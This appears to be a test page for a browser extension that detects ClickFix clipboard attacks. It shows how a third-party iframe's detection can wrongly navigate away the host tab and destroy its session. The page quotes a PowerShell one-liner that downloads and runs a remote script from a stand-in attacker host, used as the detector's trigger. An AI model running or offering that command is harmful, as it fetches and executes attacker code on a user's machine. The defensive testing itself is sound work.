A7 — cross-frame redirect amplification

This page embeds an about:blank iframe acting as a third-party widget. The iframe's script triggers a regex-matching clipboard write. Because the iframe also gets the extension's content scripts (match_about_blank: true), detection fires inside the iframe — but the resulting threat-detected message reports the host tab to the background worker, and the whole tab is navigated to blocked.html. The iframe's action destroys the host page's session. That's A7.

Pretend this is a real page you care about

A news article, a SaaS dashboard, an email draft. You have unsaved form data, a scroll position three thousand pixels down, a session you'd rather not lose.

Below is a third-party widget. Imagine an ad slot, an embedded comment widget, a social share button, anything you don't fully control. The widget itself is the only thing being “malicious” here — the host page is doing nothing wrong.

Third-party iframe

The iframe inherits this page's origin via sandbox="allow-scripts allow-same-origin", which is what makes the injected script's execCommand('copy') work without needing to serve a second document. The behaviour and the background-worker code path are identical for a real cross-origin iframe.

What happens when you click

  1. The button's click handler runs in the iframe's JS context.
  2. It selects a hidden textarea containing powershell -nop -c "iex(iwr https://evil.example/x.ps1)" and calls execCommand('copy').
  3. The iframe's detector sees the copy event, matches regex #1, calls preventDefault(), and dispatches onanalyse.
  4. The iframe's clickfix-content-script.js sends a threat-detected message to the background worker. The MessageSender's tab is the host tab.
  5. The background worker calls chrome.tabs.update(sender.tab.id, 'blocked.html') — the host tab navigates away.